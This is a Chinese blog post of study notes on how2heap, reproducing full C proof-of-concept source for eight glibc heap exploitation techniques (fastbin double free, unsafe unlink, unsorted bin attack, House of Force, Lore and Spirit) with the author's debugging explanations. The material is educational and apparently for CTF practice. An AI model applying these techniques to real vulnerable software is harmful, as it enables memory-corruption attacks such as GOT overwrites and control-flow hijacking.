how2heap总结

今天，让我们来总结下how2heap，之前粗略过了一下，但最近发现还是有很多细节不太清楚，于是现在回头来重新调试下how2heap。

就按顺序来吧。

0x01 fastbin_dup：

源码:

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 
 4 int main()
 5 {
 6     fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.
");
 7 
 8     fprintf(stderr, "Allocating 3 buffers.
");
 9     int *a = malloc(8);
10     int *b = malloc(8);
11     int *c = malloc(8);
12 
13     fprintf(stderr, "1st malloc(8): %p
", a);
14     fprintf(stderr, "2nd malloc(8): %p
", b);
15     fprintf(stderr, "3rd malloc(8): %p
", c);
16 
17     fprintf(stderr, "Freeing the first one...
");
18     free(a);
19 
20     fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.
", a, a);
21     // free(a);
22 
23     fprintf(stderr, "So, instead, we'll free %p.
", b);
24     free(b);
25 
26     fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.
", a);
27     free(a);
28 
29     fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!
", a, b, a, a);
30     fprintf(stderr, "1st malloc(8): %p
", malloc(8));
31     fprintf(stderr, "2nd malloc(8): %p
", malloc(8));
32     fprintf(stderr, "3rd malloc(8): %p
", malloc(8));
33 }

接下来我们来运行下这个程序：

可以发现这是一个double free的分析，这个是fastbin内存分配的分析，fastbin是先入后出，free1 —— free2 —— free1，这样在使用的时候就是malloc1 —— malloc2 —— malloc1 — — malloc2 —— malloc1……循环下去，可以再分配试一试。

0x02 fastbin_dup_into_stack：

源码:

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 
 4 int main()
 5 {
 6     fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into
"
 7            "returning a pointer to a controlled location (in this case, the stack).
");
 8 
 9     unsigned long long stack_var;
10 
11     fprintf(stderr, "The address we want malloc() to return is %p.
", 8+(char *)&stack_var);
12 
13     fprintf(stderr, "Allocating 3 buffers.
");
14     int *a = malloc(8);
15     int *b = malloc(8);
16     int *c = malloc(8);
17 
18     fprintf(stderr, "1st malloc(8): %p
", a);
19     fprintf(stderr, "2nd malloc(8): %p
", b);
20     fprintf(stderr, "3rd malloc(8): %p
", c);
21 
22     fprintf(stderr, "Freeing the first one...
");
23     free(a);
24 
25     fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.
", a, a);
26     // free(a);
27 
28     fprintf(stderr, "So, instead, we'll free %p.
", b);
29     free(b);
30 
31     fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.
", a);
32     free(a);
33 
34     fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
35         "We'll now carry out our attack by modifying data at %p.
", a, b, a, a);
36     unsigned long long *d = malloc(8);
37 
38     fprintf(stderr, "1st malloc(8): %p
", d);
39     fprintf(stderr, "2nd malloc(8): %p
", malloc(8));
40     fprintf(stderr, "Now the free list has [ %p ].
", a);
41     fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.
"
42         "so now we are writing a fake free size (in this case, 0x20) to the stack,
"
43         "so that malloc will think there is a free chunk there and agree to
"
44         "return a pointer to it.
", a);
45     stack_var = 0x20;
46 
47     fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.
", a);
48     *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
49 
50     fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list
", malloc(8));
51     fprintf(stderr, "4th malloc(8): %p
", malloc(8));
52 }

接下来我们来运行下这个程序：

会发现再次申请的时候就把我们伪造的栈空间当malloc来申请了，这其中的要点为将stack_var = 0x20,然后将stack_var -8 的地址赋值到*d处，也就是fastbin的fd处。再次maollc到指向stack+8的堆。

0x03 first_fit：

源码:

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 #include <string.h>
 4 
 5 int main()
 6 {
 7     fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.
");
 8     fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.
");
 9     fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.
");
10     fprintf(stderr, "This can be exploited in a use-after-free situation.
");
11 
12     fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.
");
13     char* a = malloc(512);
14     char* b = malloc(256);
15     char* c;
16 
17     fprintf(stderr, "1st malloc(512): %p
", a);
18     fprintf(stderr, "2nd malloc(256): %p
", b);
19     fprintf(stderr, "we could continue mallocing here...
");
20     fprintf(stderr, "now let's put a string at a that we can read later "this is A!"
");
21     strcpy(a, "this is A!");
22     fprintf(stderr, "first allocation %p points to %s
", a, a);
23 
24     fprintf(stderr, "Freeing the first one...
");
25     free(a);
26 
27     fprintf(stderr, "We don't need to free anything again. As long as we allocate less than 512, it will end up at %p
", a);
28 
29     fprintf(stderr, "So, let's allocate 500 bytes
");
30     c = malloc(500);
31     fprintf(stderr, "3rd malloc(500): %p
", c);
32     fprintf(stderr, "And put a different string here, "this is C!"
");
33     strcpy(c, "this is C!");
34     fprintf(stderr, "3rd allocation %p points to %s
", c, c);
35     fprintf(stderr, "first allocation %p points to %s
", a, a);
36     fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.");
37 }

运行下这个程序：

会发现这是一个UAF的分配原理，a被释放之后，变成了悬垂指针，又申请了c。使a和c同时指向的同一个堆的地址空间。这时候我们就可以通过这个指针来做一些事情了。

0x04 unsafe_unlink：

源码:

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 #include <string.h>
 4 #include <stdint.h>
 5 
 6 
 7 uint64_t *chunk0_ptr;
 8 
 9 int main()
10 {
11     fprintf(stderr, "Welcome to unsafe unlink 2.0!
");
12     fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.
");
13     fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.
");
14     fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.
");
15 
16     int malloc_size = 0x80; //we want to be big enough not to use fastbins
17     int header_size = 2;
18 
19     fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.

");
20 
21     chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
22     uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
23     fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p
", &chunk0_ptr, chunk0_ptr);
24     fprintf(stderr, "The victim chunk we are going to corrupt is at %p

", chunk1_ptr);
25 
26     fprintf(stderr, "We create a fake chunk inside chunk0.
");
27     fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.
");
28     chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
29     fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.
");
30     fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False
");
31     chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
32     fprintf(stderr, "Fake chunk fd: %p
",(void*) chunk0_ptr[2]);
33     fprintf(stderr, "Fake chunk bk: %p

",(void*) chunk0_ptr[3]);
34 
35     fprintf(stderr, "We need to make sure the 'size' of our fake chunk matches the 'previous_size' of the next chunk (chunk+size)
");
36     fprintf(stderr, "With this setup we can pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False
");
37     fprintf(stderr, "P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))
");
38     fprintf(stderr, "If x = chunk0_ptr[1] & (~ 0x7), that is x = *(chunk0_ptr + x).
");
39     fprintf(stderr, "We just need to set the *(chunk0_ptr + x) = x, so we can pass the check
");
40     fprintf(stderr, "1.Now the x = chunk0_ptr[1]&(~0x7) = 0, we should set the *(chunk0_ptr + 0) = 0, in other words we should do nothing
");
41     fprintf(stderr, "2.Further more we set chunk0_ptr = 0x8 in 64-bits environment, then *(chunk0_ptr + 0x8) == chunk0_ptr[1], it's fine to pass
");
42     fprintf(stderr, "3.Finally we can also set chunk0_ptr[1] = x in 64-bits env, and set *(chunk0_ptr+x)=x,for example chunk_ptr0[1] = 0x20, chunk_ptr0[4] = 0x20
");
43     chunk0_ptr[1] = sizeof(size_t);
44     fprintf(stderr, "In this case we set the 'size' of our fake chunk so that chunk0_ptr + size (%p) == chunk0_ptr->size (%p)
", ((char *)chunk0_ptr + chunk0_ptr[1]), &chunk0_ptr[1]);
45     fprintf(stderr, "You can find the commitdiff of this check at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30

");
46 
47     fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.
");
48     uint64_t *chunk1_hdr = chunk1_ptr - header_size;
49     fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.
");
50     fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly
");
51     chunk1_hdr[0] = malloc_size;
52     fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p
",(void*)chunk1_hdr[0]);
53     fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.

");
54     chunk1_hdr[1] &= ~1;
55 
56     fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.
");
57     fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344

");
58     free(chunk1_ptr);
59 
60     fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.
");
61     char victim_string[8];
62     strcpy(victim_string,"Hello!~");
63     chunk0_ptr[3] = (uint64_t) victim_string;
64 
65     fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.
");
66     fprintf(stderr, "Original value: %s
",victim_string);
67     chunk0_ptr[0] = 0x4141414142424242LL;
68     fprintf(stderr, "New Value: %s
",victim_string);
69 }

运行下这个程序：

这个用到了unlink的三个大点，制造伪堆，绕过unlink的保护机制和unlink的再分配。

下面我们来详细看下：

首先分配了两个大小为0x80的堆空间，但是为什么显示0x90呢？那是因为计算时候把下一个堆头的prevsize和size也计算进来了。

然后是构造伪堆，绕过unlink的保护机制。

然后 chunk1_hdr[0] = malloc_size; 修改prevsize标记的伪堆大小。

来看看我们的伪堆，0x602070就是我们的目标哦。

然后通过更改指针，进而通过unlink来重新指向堆： chunk0_ptr[3] = (uint64_t) victim_string;
这里有两次伪堆的数据覆盖，先用前堆的bk覆盖，然后用后堆的fd覆盖，最终堆指向了我们需要的目标地址。

我们来看下unlink的源码，就能够明白是如何来更改其中的链表了：

 1 /* Take a chunk off a bin list */
 2 #define unlink(AV, P, BK, FD) {                                            
 3     if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      
 4       malloc_printerr ("corrupted size vs. prev_size");                  
 5     FD = P->fd;                                      
 6     BK = P->bk;                                      
 7     if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              
 8       malloc_printerr ("corrupted double-linked list");                  
 9     else {                                      
10         FD->bk = BK;                                  
11         BK->fd = FD;                                  
12         if (!in_smallbin_range (chunksize_nomask (P))                  
13             && __builtin_expect (P->fd_nextsize != NULL, 0)) {              
14         if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)          
15         || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
16           malloc_printerr ("corrupted double-linked list (not small)");   
17             if (FD->fd_nextsize == NULL) {                      
18                 if (P->fd_nextsize == P)                      
19                   FD->fd_nextsize = FD->bk_nextsize = FD;              
20                 else {                                  
21                     FD->fd_nextsize = P->fd_nextsize;                  
22                     FD->bk_nextsize = P->bk_nextsize;                  
23                     P->fd_nextsize->bk_nextsize = FD;                  
24                     P->bk_nextsize->fd_nextsize = FD;                  
25                   }                                  
26               } else {                                  
27                 P->fd_nextsize->bk_nextsize = P->bk_nextsize;              
28                 P->bk_nextsize->fd_nextsize = P->fd_nextsize;              
29               }                                      
30           }                                      
31       }                                          
32 }

接下来就不用我说了吧，改变堆内容就改变了我们需要的目标咯。实际应用我们是否可以更改got为我们需要的地址呢？

0x05 unsorted_bin_attack：

源码:

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 
 4 int main(){
 5     fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack
");
 6     fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
 7            "global variable global_max_fast in libc for further fastbin attack

");
 8 
 9     unsigned long stack_var=0;
10     fprintf(stderr, "Let's first look at the target we want to rewrite on stack:
");
11     fprintf(stderr, "%p: %ld

", &stack_var, stack_var);
12 
13     unsigned long *p=malloc(400);
14     fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p
",p);
15     fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
16            "the first one during the free()

");
17     malloc(500);
18 
19     free(p);
20     fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
21            "point to %p
",(void*)p[1]);
22 
23     //------------VULNERABILITY-----------
24 
25     p[1]=(unsigned long)(&stack_var-2);
26     fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer
");
27     fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p

",(void*)p[1]);
28 
29     //------------------------------------
30 
31     malloc(400);
32     fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, target should has already been "
33            "rewrite:
");
34     fprintf(stderr, "%p: %p
", &stack_var, (void*)stack_var);
35 }

运行这个程序：

这个unsorted bin 没有完全看懂，看出来他是通过修改unsorted bin 中的bk为stack -16（即减去2个地址空间），这样就让stack的内容变成的unsorted bin的head了（leak），不知道这其中做了些什么？所以我先看unlink之后再回头看这个。

直接看源码吧。

1           /* remove from unsorted list */
2           unsorted_chunks (av)->bk = bck;
3           bck->fd = unsorted_chunks (av);

这一句话本意是将unsorted chunk从unsorted bin的链表中unlink下来，但是如果我们可以控制bk，就可以使得bck位置可控。而bck->fd是从相对位移去找的，换句话说，只要我们将bck修改为想要修改的位置-2*指针大小就可以使得bck->fd为我们要修改的位置，进而修改任意位置。

不过因为bck->fd = unsorted_chunks(av)这句话，而unsorted_chunks (av)并不能控制为任意内容，所以相对自由度还是比较小的，只能使得任意位置修改为一个指针。

泄露的地址：

fprintf(stderr, "%p: %p ", &stack_var, (void*)stack_var);

-------------------------> 0x7fffffffdde0: 0x7ffff7dd37b8

当然了，细心的人估计已经想到了，可以对这个地址进行修改的哦！

0x06 house_of_force：

源码:

 1 /*
 2 
 3    This PoC works also with ASLR enabled.
 4    It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
 5    If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum 
 6    ( http://phrack.org/issues/66/10.html )
 7 
 8    Tested in Ubuntu 14.04, 64bit.
 9 
10 */
11 
12 
13 #include <stdio.h>
14 #include <stdint.h>
15 #include <stdlib.h>
16 #include <string.h>
17 #include <stdint.h>
18 #include <malloc.h>
19 
20 char bss_var[] = "This is a string that we want to overwrite.";
21 
22 int main(int argc , char* argv[])
23 {
24     fprintf(stderr, "
Welcome to the House of Force

");
25     fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.
");
26     fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
27         "and is the chunk that will be resized when malloc asks for more space from the os.
");
28 
29     fprintf(stderr, "
In the end, we will use this to overwrite a variable at %p.
", bss_var);
30     fprintf(stderr, "Its current value is: %s
", bss_var);
31 
32 
33 
34     fprintf(stderr, "
Let's allocate the first chunk, taking space from the wilderness.
");
35     intptr_t *p1 = malloc(256);
36     fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.
", p1);
37 
38     fprintf(stderr, "
Now the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.
");
39     int real_size = malloc_usable_size(p1);
40     fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %d.
", real_size);
41 
42     fprintf(stderr, "
Now let's emulate a vulnerability that can overwrite the header of the Top Chunk
");
43 
44     //----- VULNERABILITY ----
45     intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
46     fprintf(stderr, "
The top chunk starts at %p
", ptr_top);
47 
48     fprintf(stderr, "
Overwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.
");
49     fprintf(stderr, "Old size of top chunk %#llx
", *((unsigned long long int *)ptr_top));
50     ptr_top[0] = -1;
51     fprintf(stderr, "New size of top chunk %#llx
", *((unsigned long long int *)ptr_top));
52     //------------------------
53 
54     fprintf(stderr, "
The size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.
"
55        "Next, we will allocate a chunk that will get us right up against the desired region (with an integer
"
56        "overflow) and will then be able to allocate a chunk right over the desired region.
");
57 
58     unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;
59     fprintf(stderr, "
The value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,
"
60        "we will malloc %#lx bytes.
", bss_var, ptr_top, evil_size);
61     void *new_ptr = malloc(evil_size);
62     fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p
", new_ptr);
63 
64     void* ctr_chunk = malloc(100);
65     fprintf(stderr, "
Now, the next chunk we overwrite will point at our target buffer.
");
66     fprintf(stderr, "malloc(100) => %p!
", ctr_chunk);
67     fprintf(stderr, "Now, we can finally overwrite that value:
");
68 
69     fprintf(stderr, "... old string: %s
", bss_var);
70     fprintf(stderr, "... doing strcpy overwrite with "YEAH!!!"...
");
71     strcpy(ctr_chunk, "YEAH!!!");
72     fprintf(stderr, "... new string: %s
", bss_var);
73 
74 
75     // some further discussion:
76     //fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed

");
77     //fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
78     //    "and we 
want to set this result to the address of malloc_got_address-8

");
79     //fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size

");
80     //fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8

");
81     //fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
82     //    "
and basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address

");
83 
84     //fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x
",p2);
85     //fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x
",malloc_got_address);
86 
87     //fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before
");
88 }

运行这个程序：

　　这个就是对Top Chunk的利用了，这里就是一个简单的计算，首先把Top_Chunk的size设置为无限大，防止调用mmap，然后就是就是申请一个很大的空间evil_size，evil_size = bss_var - ptr_top - 2*地址（预留堆头空间），这样就是topchunk的地址变成了我们需要控制的区域来了，相当于把Top Chunk向地址下降了（top chunk = 0x602070），然后再malloc就能够精确控制bss区域了。其中Top Chunk的机理，我回头看看源码在来看看到底是个什么东东。

0x07 house_of_lore：

源码:

  1 /*
  2 Advanced exploitation of the House of Lore - Malloc Maleficarum.
  3 This PoC take care also of the glibc hardening of smallbin corruption.
  4 
  5 [ ... ]
  6 
  7 else
  8     {
  9       bck = victim->bk;
 10     if (__glibc_unlikely (bck->fd != victim)){
 11 
 12                   errstr = "malloc(): smallbin double linked list corrupted";
 13                   goto errout;
 14                 }
 15 
 16        set_inuse_bit_at_offset (victim, nb);
 17        bin->bk = bck;
 18        bck->fd = bin;
 19 
 20        [ ... ]
 21 
 22 */
 23 
 24 #include <stdio.h>
 25 #include <stdlib.h>
 26 #include <string.h>
 27 #include <stdint.h>
 28 
 29 void jackpot(){ puts("Nice jump d00d"); exit(0); }
 30 
 31 int main(int argc, char * argv[]){
 32 
 33 
 34   intptr_t* stack_buffer_1[4] = {0};
 35   intptr_t* stack_buffer_2[3] = {0};
 36 
 37   fprintf(stderr, "
Welcome to the House of Lore
");
 38   fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc
");
 39   fprintf(stderr, "This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23

");
 40 
 41   fprintf(stderr, "Allocating the victim chunk
");
 42   intptr_t *victim = malloc(100);
 43   fprintf(stderr, "Allocated the first small chunk on the heap at %p
", victim);
 44 
 45   // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
 46   intptr_t *victim_chunk = victim-2;
 47 
 48   fprintf(stderr, "stack_buffer_1 at %p
", (void*)stack_buffer_1);
 49   fprintf(stderr, "stack_buffer_2 at %p
", (void*)stack_buffer_2);
 50 
 51   fprintf(stderr, "Create a fake chunk on the stack");
 52   fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
 53          "in second to the last malloc, which putting stack address on smallbin list
");
 54   stack_buffer_1[0] = 0;
 55   stack_buffer_1[1] = 0;
 56   stack_buffer_1[2] = victim_chunk;
 57 
 58   fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
 59          "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
 60          "chunk on stack");
 61   stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
 62   stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
 63   
 64   fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
 65          "the small one during the free()
");
 66   void *p5 = malloc(1000);
 67   fprintf(stderr, "Allocated the large chunk on the heap at %p
", p5);
 68 
 69 
 70   fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin
", victim);
 71   free((void*)victim);
 72 
 73   fprintf(stderr, "
In the unsorted bin the victim's fwd and bk pointers are nil
");
 74   fprintf(stderr, "victim->fwd: %p
", (void *)victim[0]);
 75   fprintf(stderr, "victim->bk: %p

", (void *)victim[1]);
 76 
 77   fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin
");
 78   fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin
", victim);
 79 
 80   void *p2 = malloc(1200);
 81   fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p
", p2);
 82 
 83   fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated
");
 84   fprintf(stderr, "victim->fwd: %p
", (void *)victim[0]);
 85   fprintf(stderr, "victim->bk: %p

", (void *)victim[1]);
 86 
 87   //------------VULNERABILITY-----------
 88 
 89   fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer
");
 90 
 91   victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
 92 
 93   //------------------------------------
 94 
 95   fprintf(stderr, "Now allocating a chunk with size equal to the first one freed
");
 96   fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer
");
 97 
 98   void *p3 = malloc(100);
 99 
100 
101   fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk
");
102   char *p4 = malloc(100);
103   fprintf(stderr, "p4 = malloc(100)
");
104 
105   fprintf(stderr, "
The fwd pointer of stack_buffer_2 has changed after the last malloc to %p
",
106          stack_buffer_2[2]);
107 
108   fprintf(stderr, "
p4 is %p and should be on the stack!
", p4); // this chunk will be allocated on stack
109   intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
110   memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
111 }

运行这个程序：

这个程序，将victim chunk和两个fake chunk构造成双向链表,然后再smallbin分配时候，便申请了到了fake chunk。

这个关键是要改写victim chunk 的bk，关键改写地址： victim[1] = (intptr_t)stack_buffer_1 。然后双向链表在重新分配的时候，就会分配到栈上的空间为堆。

0x08 house_of_spirit：

源码:

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 
 4 int main()
 5 {
 6     fprintf(stderr, "This file demonstrates the house of spirit attack.
");
 7 
 8     fprintf(stderr, "Calling malloc() once so that it sets up its memory.
");
 9     malloc(1);
10 
11     fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.
");
12     unsigned long long *a;
13     // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
14     unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
15 
16     fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.
", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]);
17 
18     fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.
");
19     fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. 
");
20     fake_chunks[1] = 0x40; // this is the size
21 
22     fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.
");
23         // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
24     fake_chunks[9] = 0x1234; // nextsize
25 
26     fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.
", &fake_chunks[1]);
27     fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.
");
28     a = &fake_chunks[2];
29 
30     fprintf(stderr, "Freeing the overwritten pointer.
");
31     free(a);
32 
33     fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!
", &fake_chunks[1], &fake_chunks[2]);
34     fprintf(stderr, "malloc(0x30): %p
", malloc(0x30));
35 }

运行这个程序：

这个一看代码很少，程序比较简单了，哈哈，下面我们来看看这个程序是怎么运行的：(时隔好多天)看完这个程序之后确实，很简单，但最近却一直没有做，主要是最近事情比较繁杂，心态不够沉静。

先看看内存分布原理图把：

注意哦，这个数组就是栈上面的内存，a指向了第一个伪堆，free(a)的时候就把Fake_chunk_1这个伪堆放入了fastbin的链表中，这样的话再次分配的时候就把这一块的内存当做是heap区域的内存分配了，

注意这里fastbin的回收内存的大小，第一个chunk的size要在fastbin的范围内（x64机器上是 < 0x80），同时注意实际大小比可用大小多两个单元。

关于这个技术如果要练手的话，可以去做一下 pwnable.tw 上的 spirited_away 这道题。

知识补充：

　　更改C编译器的缺省字节对齐方式

　　在缺省情况下，C编译器为每一个变量或是数据单元按其自然对界条件分配空间。一般地，可以通过下面的方法来改变缺省的对界条件：
　　· 使用伪指令#pragma pack (n)，C编译器将按照n个字节对齐。
　　· 使用伪指令#pragma pack ()，取消自定义字节对齐方式。

　　另外，还有如下的一种方式：
　　· __attribute((aligned (n)))，让所作用的结构成员对齐在n字节自然边界上。如果结构中有成员的长度大于n，则按照最大成员的长度来对齐。
　　· __attribute__ ((packed))，取消结构在编译过程中的优化对齐，按照实际占用字节数进行对齐。

小结：

个人水平有限，只是写了自己的理解和归纳，最后一个例程house_of_einherjar在新版glibc已经不能用了，所以不做介绍。